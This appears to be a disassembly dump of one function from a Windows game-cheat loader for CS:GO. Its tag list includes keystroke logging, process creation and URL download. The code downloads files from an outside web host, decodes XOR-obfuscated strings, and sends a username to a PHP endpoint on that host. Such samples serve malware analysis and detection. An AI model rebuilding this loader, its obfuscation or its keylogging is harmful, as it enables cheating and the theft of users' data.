Function at 0x14004f6b0
Capabilities:
Create process on windows
Create thread
Delete file
Download url
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x1270
call fcn.1400596a0
sub rsp, rax
movaps xmmword [rsp + 0x1260], xmm6
movaps xmmword [rsp + 0x1250], xmm7
movaps xmmword [rsp + 0x1240], xmm8
movaps xmmword [rsp + 0x1230], xmm9
movaps xmmword [rsp + 0x1220], xmm10
movaps xmmword [rsp + 0x1210], xmm11
movaps xmmword [rsp + 0x1200], xmm12
movaps xmmword [rsp + 0x11f0], xmm13
movaps xmmword [rsp + 0x11e0], xmm14
movaps xmmword [rsp + 0x11d0], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14006e010]
xor rax, rsp
mov qword [rbp + 0x1140], rax
xor r12d, r12d
mov r15d, r12d
mov dword [rbp + 8], r12d
call fcn.14004b280
lea rax, str.C:Your_cheat_name_
mov qword [rbp + 0x18], 0x13
mov qword [rbp + 0x10], rax
call fcn.140058f1c
movaps xmm0, xmmword [rbp + 0x10]
lea r8, [rbp + 0x780]
mov edx, eax
movdqa xmmword [rbp + 0x780], xmm0
lea rcx, [rbp + 0x2d0]
call fcn.140049c30
cmp qword [rbp + 0x2e8], 8
lea rcx, [rbp + 0x2d0]
cmovae rcx, qword [rbp + 0x2d0]
call fcn.140059058
shr rax, 0x20
test eax, eax
jne 0x1400534f5
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 8
jb 0x14004f803
mov rcx, qword [rbp + 0x2d0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f7fe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f7fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400583c8
lea rax, str.C:Your_cheat_nameimages
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x2e8], 7
mov word [rbp + 0x2d0], r12w
mov qword [rbp + 0x18], 0x19
call fcn.140058f1c
movaps xmm0, xmmword [rbp + 0x10]
lea r8, [rbp + 0x790]
mov edx, eax
movdqa xmmword [rbp + 0x790], xmm0
lea rcx, [rbp + 0x2b0]
call fcn.140049c30
cmp qword [rbp + 0x2c8], 8
lea rcx, [rbp + 0x2b0]
cmovae rcx, qword [rbp + 0x2b0]
call fcn.140059058
shr rax, 0x20
test eax, eax
jne 0x140053504
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 8
jb 0x14004f8c7
mov rcx, qword [rbp + 0x2b0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f8c2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f8c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400583c8
xor r9d, r9d
mov qword [rbp + 0x2c0], r12
lea r8, str.C:_Your_cheat_name_images_logo.png
mov qword [rbp + 0x2c8], 7
lea rdx, str.http:__exitrog6.beget.tech_images_logo.png
mov word [rbp + 0x2b0], r12w
xor ecx, ecx
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, str.C:_Your_cheat_name_images_csgo.png
xor ecx, ecx
lea rdx, str.http:__exitrog6.beget.tech_images_csgo.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, str.C:_Your_cheat_name_images_logosmall.png
xor ecx, ecx
lea rdx, str.http:__exitrog6.beget.tech_images_logosmall.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, str.C:_Your_cheat_name_images_biglogo.png
xor ecx, ecx
lea rdx, str.http:__exitrog6.beget.tech_images_biglogo.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rax, [0x140053e10]
mov dword [rbp + 0xc60], 0x50
xor ecx, ecx
mov qword [rbp + 0xc68], rax
mov dword [rbp + 0xc64], 0x40
mov qword [rbp + 0xc70], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0xca8], r12
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc80], xmm0
lea rbx, [0x14005c2a8]
movdqu xmmword [rbp + 0xc90], xmm1
lea rcx, [rbp + 0xc60]
mov qword [rbp + 0xc78], rax
mov qword [rbp + 0xca0], rbx
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0xc78]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0xca0]
mov r8, rbx
mov qword [rsp + 0x58], r12
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r9d, 0x1f4
mov dword [rsp + 0x28], 0x15
mov r8d, r9d
mov qword [0x14009f8d0], rax
xor edx, edx
mov dword [rsp + 0x20], 0x15
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rcx, qword [0x14009f8d0]
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rbx, qword [0x14009f8d0]
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x14009f7c8], rax
mov rcx, rax
mov edi, 1
test rax, rax
je 0x14005343c
lea rdx, [0x14009f7c0]
mov qword [0x14009f780], r12
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x14009f780]
mov qword [0x14009f78c], r12
mov qword [rsp + 0x28], rdx
mov r8d, edi
mov dword [0x14009f794], r12d
xor edx, edx
mov qword [0x14009f79c], r12
mov dword [0x14009f7a4], r12d
mov qword [0x14009f7b4], r12
mov dword [0x14009f7a8], edi
mov dword [0x14009f798], edi
mov dword [0x14009f788], r12d
mov dword [0x14009f7ac], edi
mov dword [0x14009f7b0], 0x50
mov dword [0x14009f7bc], edi
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x140053435
mov rcx, qword [0x14009f8d0]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14009f8d0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x14009f580]
test rax, rax
je 0x14004fb37
inc dword [rax + 0x3b0]
mov ecx, 0x40b0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14004fb56
xor edx, edx
mov rcx, rax
call fcn.140001930
mov rcx, rax
jmp 0x14004fb59
mov rcx, r12
mov rax, qword [0x14009f580]
test rax, rax
cmove rax, rcx
mov qword [0x14009f580], rax
call fcn.140008640
mov r13, qword [0x14009f580]
xor ecx, ecx
or dword [r13 + 8], 0x400
mov qword [r13 + 0x20], r12
call fcn.14002b310
cmp word [0x14009faa0], r12w
lea rbx, [0x14009fab0]
mov r10, qword [r13 + 0xa8]
lea rsi, [0x140060440]
mov edi, 0x4e00
mov r14d, 0xbb7
jne 0x14004fbf0
movups xmm0, xmmword [0x14006e048]
mov rcx, rbx
mov edx, edi
mov r8, rsi
mov r9d, r14d
movups xmmword [0x14009faa0], xmm0
movsx eax, word [r8]
lea rcx, [rcx + 4]
add edx, eax
lea r8, [r8 + 2]
mov word [rcx - 2], dx
mov word [rcx - 4], dx
sub r9, 1
jne 0x14004fbd0
mov word [rcx], r12w
xorps xmm2, xmm2
lea rdx, [rbp + 0xa40]
xor eax, eax
movups xmmword [rbp + 0xa70], xmm2
mov qword [rbp + 0x4a0], rax
mov rcx, r10
movups xmmword [rbp + 0x430], xmm2
mov eax, 0xffff
mov dword [rbp + 0x438], 3
movups xmmword [rbp + 0x470], xmm2
mov word [rbp + 0x474], ax
lea rax, [0x14006e070]
movups xmmword [rbp + 0x420], xmm2
mov byte [rbp + 0x42c], 1
movups xmm0, xmmword [rbp + 0x420]
movups xmmword [rbp + 0xa40], xmm0
movups xmmword [rbp + 0x460], xmm2
mov qword [rbp + 0xa40], rax
lea rax, [0x14009faa0]
mov dword [rbp + 0x43c], 1
movups xmm1, xmmword [rbp + 0x430]
movups xmmword [rbp + 0xa50], xmm1
mov dword [rbp + 0x464], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x460]
movups xmmword [rbp + 0xa80], xmm0
movsd xmm0, qword [rbp + 0x4a0]
mov dword [rbp + 0x470], 0x3f800000
movups xmm1, xmmword [rbp + 0x470]
movsd qword [rbp + 0xac0], xmm0
movups xmmword [rbp + 0x440], xmm2
movups xmmword [rbp + 0x450], xmm2
movups xmmword [rbp + 0x480], xmm2
movups xmmword [rbp + 0x490], xmm2
movups xmmword [rbp + 0xa60], xmm2
movups xmmword [rbp + 0xa90], xmm1
movups xmmword [rbp + 0xaa0], xmm2
movups xmmword [rbp + 0xab0], xmm2
mov dword [rbp + 0xa48], 0x3063c
mov dword [rbp + 0xa54], 0x41c00000
mov qword [rbp + 0xa78], rax
call fcn.14002fe00
cmp word [0x14009faa0], r12w
mov r10, qword [r13 + 0xa8]
jne 0x14004fd60
movups xmm0, xmmword [0x14006e048]
mov rcx, rbx
mov edx, edi
mov r8, rsi
mov r9, r14
movups xmmword [0x14009faa0], xmm0
nop dword [rax]
movsx eax, word [r8]
lea rcx, [rcx + 4]
add edx, eax
lea r8, [r8 + 2]
mov word [rcx - 2], dx
mov word [rcx - 4], dx
sub r9, 1
jne 0x14004fd40
mov word [rcx], r12w
xorps xmm2, xmm2
lea rdx, [rbp + 0x920]
xor eax, eax
movups xmmword [rbp + 0x950], xmm2
mov qword [rbp + 0x530], rax
mov rcx, r10
movups xmmword [rbp + 0x4c0], xmm2
mov eax, 0xffff
mov dword [rbp + 0x4c8], 3
movups xmmword [rbp + 0x500], xmm2
mov word [rbp + 0x504], ax
lea rax, [0x14006e070]
movups xmmword [rbp + 0x4b0], xmm2
mov byte [rbp + 0x4bc], 1
movups xmm0, xmmword [rbp + 0x4b0]
movups xmmword [rbp + 0x920], xmm0
movups xmmword [rbp + 0x4f0], xmm2
mov qword [rbp + 0x920], rax
lea rax, [0x14009faa0]
mov dword [rbp + 0x4cc], 1
movups xmm1, xmmword [rbp + 0x4c0]
movups xmmword [rbp + 0x930], xmm1
mov dword [rbp + 0x4f4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x4f0]
movups xmmword [rbp + 0x960], xmm0
movsd xmm0, qword [rbp + 0x530]
mov dword [rbp + 0x500], 0x3f800000
movups xmm1, xmmword [rbp + 0x500]
movsd qword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x4d0], xmm2
movups xmmword [rbp + 0x4e0], xmm2
movups xmmword [rbp + 0x510], xmm2
movups xmmword [rbp + 0x520], xmm2
movups xmmword [rbp + 0x940], xmm2
movups xmmword [rbp + 0x970], xmm1
movups xmmword [rbp + 0x980], xmm2
movups xmmword [rbp + 0x990], xmm2
mov dword [rbp + 0x928], 0x3063c
mov dword [rbp + 0x934], 0x41d00000
mov qword [rbp + 0x958], rax
call fcn.14002fe00
cmp word [0x14009faa0], r15w
mov r12, rax
mov r10, qword [r13 + 0xa8]
mov qword [rbp + 0x350], rax
jne 0x14004fee1
movups xmm0, xmmword [0x14006e048]
mov rcx, rbx
mov edx, edi
mov r8, rsi
mov r9, r14
movups xmmword [0x14009faa0], xmm0
nop word [rax + rax]
movsx eax, word [r8]
lea rcx, [rcx + 4]
add edx, eax
lea r8, [r8 + 2]
mov word [rcx - 2], dx
mov word [rcx - 4], dx
sub r9, 1
jne 0x14004fec0
xor edx, edx
mov word [rcx], dx
xorps xmm2, xmm2
lea rdx, [rbp + 0x890]
xor eax, eax
movups xmmword [rbp + 0x8c0], xmm2
mov qword [rbp + 0x5c0], rax
mov rcx, r10
movups xmmword [rbp + 0x550], xmm2
mov eax, 0xffff
mov dword [rbp + 0x558], 3
movups xmmword [rbp + 0x590], xmm2
mov word [rbp + 0x594], ax
lea rax, [0x14006e070]
movups xmmword [rbp + 0x540], xmm2
mov byte [rbp + 0x54c], 1
movups xmm0, xmmword [rbp + 0x540]
movups xmmword [rbp + 0x890], xmm0
movups xmmword [rbp + 0x580], xmm2
mov qword [rbp + 0x890], rax
lea rax, [0x14009faa0]
mov dword [rbp + 0x55c], 1
movups xmm1, xmmword [rbp + 0x550]
movups xmmword [rbp + 0x8a0], xmm1
mov dword [rbp + 0x584], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x580]
movups xmmword [rbp + 0x8d0], xmm0
movsd xmm0, qword [rbp + 0x5c0]
mov dword [rbp + 0x590], 0x3f800000
movups xmm1, xmmword [rbp + 0x590]
movsd qword [rbp + 0x910], xmm0
movups xmmword [rbp + 0x560], xmm2
movups xmmword [rbp + 0x570], xmm2
movups xmmword [rbp + 0x5a0], xmm2
movups xmmword [rbp + 0x5b0], xmm2
movups xmmword [rbp + 0x8b0], xmm2
movups xmmword [rbp + 0x8e0], xmm1
movups xmmword [rbp + 0x8f0], xmm2
movups xmmword [rbp + 0x900], xmm2
mov dword [rbp + 0x898], 0x3063c
mov dword [rbp + 0x8a4], 0x42000000
mov qword [rbp + 0x8c8], rax
call fcn.14002fe00
cmp word [0x14009faa0], r15w
mov r10, qword [r13 + 0xa8]
jne 0x140050051
movups xmm0, xmmword [0x14006e048]
mov rcx, rbx
mov edx, edi
mov r8, rsi
mov r9, r14
movups xmmword [0x14009faa0], xmm0
nop dword [rax]
movsx eax, word [r8]
lea rcx, [rcx + 4]
add edx, eax
lea r8, [r8 + 2]
mov word [rcx - 2], dx
mov word [rcx - 4], dx
sub r9, 1
jne 0x140050030
xor eax, eax
mov word [rcx], ax
xorps xmm2, xmm2
lea rdx, [rbp + 0x9b0]
xor eax, eax
movups xmmword [rbp + 0x9e0], xmm2
mov qword [rbp + 0x650], rax
mov rcx, r10
movups xmmword [rbp + 0x5e0], xmm2
mov eax, 0xffff
mov dword [rbp + 0x5e8], 3
movups xmmword [rbp + 0x620], xmm2
mov word [rbp + 0x624], ax
lea rax, [0x14006e070]
movups xmmword [rbp + 0x5d0], xmm2
mov byte [rbp + 0x5dc], 1
movups xmm0, xmmword [rbp + 0x5d0]
movups xmmword [rbp + 0x9b0], xmm0
movups xmmword [rbp + 0x610], xmm2
mov qword [rbp + 0x9b0], rax
lea rax, [0x14009faa0]
mov dword [rbp + 0x5ec], 1
movups xmm1, xmmword [rbp + 0x5e0]
movups xmmword [rbp + 0x9c0], xmm1
mov dword [rbp + 0x614], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x610]
movups xmmword [rbp + 0x9f0], xmm0
movsd xmm0, qword [rbp + 0x650]
mov dword [rbp + 0x620], 0x3f800000
movups xmm1, xmmword [rbp + 0x620]
movsd qword [rbp + 0xa30], xmm0
movups xmmword [rbp + 0x5f0], xmm2
movups xmmword [rbp + 0x600], xmm2
movups xmmword [rbp + 0x630], xmm2
movups xmmword [rbp + 0x640], xmm2
movups xmmword [rbp + 0x9d0], xmm2
movups xmmword [rbp + 0xa00], xmm1
movups xmmword [rbp + 0xa10], xmm2
movups xmmword [rbp + 0xa20], xmm2
mov dword [rbp + 0x9b8], 0x3063c
mov dword [rbp + 0x9c4], 0x41800000
mov qword [rbp + 0x9e8], rax
call fcn.14002fe00
cmp word [0x14009faa0], r15w
mov rcx, qword [r13 + 0xa8]
jne 0x1400501b4
movups xmm0, xmmword [0x14006e048]
movups xmmword [0x14009faa0], xmm0
movsx eax, word [rsi]
lea rbx, [rbx + 4]
add edi, eax
lea rsi, [rsi + 2]
mov word [rbx - 2], di
mov word [rbx - 4], di
sub r14, 1
jne 0x140050192
xor edi, edi
mov word [rbx], di
jmp 0x1400501b6
xor edi, edi
xorps xmm2, xmm2
lea rdx, [rbp + 0x800]
xor eax, eax
movups xmmword [rbp + 0x830], xmm2
mov qword [rbp + 0x6e0], rax
mov eax, 0xffff
movups xmmword [rbp + 0x670], xmm2
mov dword [rbp + 0x678], 3
movups xmmword [rbp + 0x6b0], xmm2
mov word [rbp + 0x6b4], ax
lea rax, [0x14006e070]
movups xmmword [rbp + 0x660], xmm2
mov byte [rbp + 0x66c], 1
movups xmm0, xmmword [rbp + 0x660]
movups xmmword [rbp + 0x800], xmm0
movups xmmword [rbp + 0x6a0], xmm2
mov qword [rbp + 0x800], rax
lea rax, [0x14009faa0]
mov dword [rbp + 0x67c], 1
movups xmm1, xmmword [rbp + 0x670]
movups xmmword [rbp + 0x810], xmm1
mov dword [rbp + 0x6a4], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x6a0]
movups xmmword [rbp + 0x840], xmm0
movsd xmm0, qword [rbp + 0x6e0]
mov dword [rbp + 0x6b0], 0x3f800000
movups xmm1, xmmword [rbp + 0x6b0]
movsd qword [rbp + 0x880], xmm0
movups xmmword [rbp + 0x680], xmm2
movups xmmword [rbp + 0x690], xmm2
movups xmmword [rbp + 0x6c0], xmm2
movups xmmword [rbp + 0x6d0], xmm2
movups xmmword [rbp + 0x820], xmm2
movups xmmword [rbp + 0x850], xmm1
movups xmmword [rbp + 0x860], xmm2
movups xmmword [rbp + 0x870], xmm2
mov dword [rbp + 0x808], 0x3063c
mov dword [rbp + 0x814], 0x41600000
mov qword [rbp + 0x838], rax
call fcn.14002fe00
mov rcx, qword [0x14009f7c0]
lea r8, [rbp + 0xc38]
lea rdx, str.C:_Your_cheat_name_images_logo.png
mov qword [rbp + 0x170], rax
mov r14, rax
mov qword [rbp + 0x20], rdi
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
test eax, eax
jne 0x14005032a
mov rcx, qword [rbp + 0xc38]
xor edx, edx
mov r8, qword [rcx]
mov r9, qword [r8 + 0x88]
lea r8, [rbp + 0xff0]
call r9
mov rax, qword [rbp + 0xc38]
mov qword [rbp + 0x20], rax
mov rcx, qword [0x14009f7c0]
lea r8, [rbp + 0xc30]
lea rdx, str.C:_Your_cheat_name_images_csgo.png
mov qword [rbp + 0x100], rdi
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
test eax, eax
jne 0x140050377
mov rcx, qword [rbp + 0xc30]
lea r8, [rbp + 0x1010]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rax, qword [rbp + 0xc30]
mov qword [rbp + 0x100], rax
mov rcx, qword [0x14009f7c0]
lea r8, [rbp + 0xc50]
lea rdx, str.C:_Your_cheat_name_images_logosmall.png
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
test eax, eax
jne 0x1400503af
mov rcx, qword [rbp + 0xc50]
lea r8, [rbp + 0x1030]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rcx, qword [0x14009f7c0]
lea r8, [rbp + 0xc28]
lea rdx, str.C:_Your_cheat_name_images_biglogo.png
mov qword [rbp + 0x88], rdi
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
test eax, eax
jne 0x1400503fc
mov rcx, qword [rbp + 0xc28]
lea r8, [rbp + 0x1050]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rax, qword [rbp + 0xc28]
mov qword [rbp + 0x88], rax
xorps xmm0, xmm0
mov qword [rbp + 0xd38], rdi
mov r8d, 0x65
mov qword [rbp + 0xd40], rdi
lea rdx, str.___Auto_Login_n___Avatar_Fixed_n___Avatar_Background_n___Fixed_authorization_n___Protection_Improved
lea rcx, [rbp + 0xd28]
movups xmmword [rbp + 0xd28], xmm0
call fcn.140056d90
mov rax, qword [0x14009f580]
or dword [r13 + 8], 0x400
movaps xmm0, xmmword [0x140062d70]
mov qword [r13 + 0x20], rdi
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140062d30]
mov dword [rax + 0x163c], 0x40800000
mov dword [rax + 0x1640], 0x40800000
mov qword [rax + 0x1644], 0x40a00000
mov dword [rax + 0x1660], 0x41a00000
mov dword [rax + 0x1678], 0x40400000
mov dword [rax + 0x1670], 0x41000000
mov dword [rax + 0x1674], 0x40c00000
mov dword [rax + 0x167c], 0x40000000
mov dword [rax + 0x1678], 0x40800000
mov dword [rax + 0x16b4], 0x40800000
mov dword [rax + 0x1644], 0x41a00000
movups xmmword [rax + 0x171c], xmm0
movups xmmword [rax + 0x172c], xmm0
movups xmmword [rbp + 0xbb0], xmm0
movups xmmword [rbp + 0xba0], xmm0
movaps xmm0, xmmword [0x140062e80]
movups xmmword [rbp + 0xb90], xmm0
movups xmmword [rax + 0x174c], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140062e70]
movups xmmword [rbp + 0xb60], xmm1
movups xmmword [rax + 0x176c], xmm1
movups xmmword [rbp + 0xbd0], xmm1
movups xmmword [rax + 0x177c], xmm1
movaps xmm1, xmmword [0x140062e30]
movups xmmword [rbp + 0xbe0], xmm1
movups xmmword [rax + 0x184c], xmm1
movups xmmword [rbp + 0xbf0], xmm0
movups xmmword [rax + 0x186c], xmm0
movaps xmm1, xmm0
movups xmmword [rbp + 0xb50], xmm0
movups xmmword [rax + 0x185c], xmm0
movaps xmm0, xmmword [0x140062dc0]
movups xmmword [rax + 0x170c], xmm0
call fcn.140035e10
mov rcx, qword [0x14009f7c0]
lea rax, str.imgui_impl_dx9
mov rbx, qword [0x14009f580]
mov qword [0x14009fa50], rcx
or dword [rbx + 0xc], 0x1008
mov qword [rbx + 0xe8], rax
mov rax, qword [rcx]
call qword [rax + 8]
test dword [rbx + 8], 0x400
je 0x1400505e4
mov rax, qword [0x14009f580]
lea rcx, [fcn.140035ae0]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.140035bb0]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x140035c30]
mov qword [rax + 0x1600], rcx
lea rcx, [0x140035c90]
mov qword [rax + 0x1608], rcx
lea rcx, [0x140035de0]
mov qword [rax + 0x1610], rcx
movabs rax, 0xbcc142e21e624207
mov rsi, 0xffffffffffffffff
mov qword [rbp], rax
mov r8, rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x67e1150efd3ef1fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x3865ff6a46fa5e7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x42f2d551515a27b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x714b71fa3f582393
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xb3bed9058032c4f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0xd9ee6dd86e16366f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1100], rax
movabs rax, 0x49d772618f4a9884
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1108], rax
movabs rax, 0x5d11d11e239d3b19
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1110], rax
movabs rax, 0x6c9db33f38754fd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1118], rax
movabs rax, 0x239148c00284be3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1120], rax
movabs rax, 0xb3bed905805cab98
mov qword [rbp], rax
mov rax, qword [rbp]
movdqa xmm1, xmmword [rbp + 0x3e0]
vmovdqu ymm0, ymmword [rbp + 0x1100]
vpxor ymm0, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x3c0], ymm0
mov qword [rbp + 0x1128], rax
vxorps xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmmword [rbp + 0x1120]
lea rax, [rbp + 0x3c0]
vmovups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x410], rdi
vmovdqa xmmword [rbp + 0x3e0], xmm1
mov qword [rbp + 0x418], rdi
vzeroupper
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x140050770
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x400]
call fcn.140056d90
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0xce8]
call fcn.14004a870
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0xfe0]
call qword [sym.imp.USER32.dll_GetWindowRect]
cmp qword [rbp + 0xd00], 0x10
lea rcx, [rbp + 0xce8]
mov r8, qword [rbp + 0xcf8]
cmovae rcx, qword [rbp + 0xce8]
cmp r8, 1
jne 0x1400507e9
lea rdx, [0x140060420]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400507eb
mov al, 1
mov byte [0x14009f579], al
call fcn.14004e080
movss xmm12, dword [0x140062aa8]
xorps xmm0, xmm0
movss xmm10, dword [0x1400629e0]
movss xmm15, dword [0x1400629dc]
movss xmm14, dword [0x1400629ec]
movss xmm13, dword [0x140062a98]
movss xmm11, dword [0x140062aac]
movups xmmword [rbp + 0xd88], xmm0
movups xmmword [rbp + 0xd98], xmm0
movups xmmword [rbp + 0xda8], xmm0
nop dword [rax]
nop dword [rax + rax]
cmp byte [0x14006e068], 0
je 0x140053427
cmp byte [0x14009f57d], 0
je 0x140050cc1
xorps xmm0, xmm0
mov qword [rbp + 0x210], rdi
mov r8d, 7
mov qword [rbp + 0x218], rdi
lea rdx, str.avatar
lea rcx, [rbp + 0x200]
movups xmmword [rbp + 0x200], xmm0
call fcn.140056d90
xorps xmm0, xmm0
mov qword [rbp + 0x230], rdi
mov r8d, 0x2d
mov qword [rbp + 0x238], rdi
lea rdx, str.http:__exitrog6.beget.tech_info.php_username
lea rcx, [rbp + 0x220]
movups xmmword [rbp + 0x220], xmm0
call fcn.140056d90
lea rdx, [0x14009f590]
lea rcx, [rbp + 0x220]
call fcn.1400552e0
lea r9, [rbp + 0x200]
lea r8, [rbp + 0x330]
lea rcx, [rbp + 0xd48]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp + 0x330], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x340], xmm1
mov byte [rax], 0
call fcn.140057720
mov rdx, qword [rbp + 0x348]
cmp rdx, 0x10
jb 0x14005095e
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050959
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531a9
call fcn.1400583c8
mov rdx, qword [rbp + 0x238]
mov qword [rbp + 0x340], rdi
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
cmp rdx, 0x10
jb 0x1400509b8
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400509b3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531a9
call fcn.1400583c8
mov rdx, qword [rbp + 0x218]
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], 0
cmp rdx, 0x10
jb 0x140050a12
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050a0d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400531a9
call fcn.1400583c8
mov r15, qword [rbp + 0xd60]
lea r14, [rbp + 0xd48]
mov rsi, qword [rbp + 0xd48]
cmp r15, 0x10
mov qword [rbp + 0x210], rdi
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x190], rdi
setae r12b
mov qword [rbp + 0x198], rdi
cmovae r14, rsi
mov rdi, qword [rbp + 0xd58]
xorps xmm0, xmm0
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], 0
movups xmmword [rbp + 0x180], xmm0
cmp rdi, rax
ja 0x140053519
mov qword [rbp + 0x198], 0xf
cmp rdi, 0x10
jae 0x140050aa6
mov qword [rbp + 0x190], rdi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x180], xmm0
jmp 0x140050b4d
mov rbx, rdi
or rbx, 0xf
mov qword [rbp + 0xdb8], rbx
cmp rbx, rax
jbe 0x140050abe
mov rbx, rax
jmp 0x140050ad1
mov eax, 0x16
cmp rbx, rax
mov qword [rbp + 0x770], rax
cmovb rbx, rax
mov rcx, rbx
mov rax, 0xffffffffffffffff
add rcx, 1
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140050b1b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140053513
mov rcx, rax
call fcn.1400585bc
mov rcx, rax
test rax, rax
je 0x1400531b0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140050b29
test rcx, rcx
je 0x140050b27
call fcn.1400585bc
jmp 0x140050b29
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp + 0x180], rax
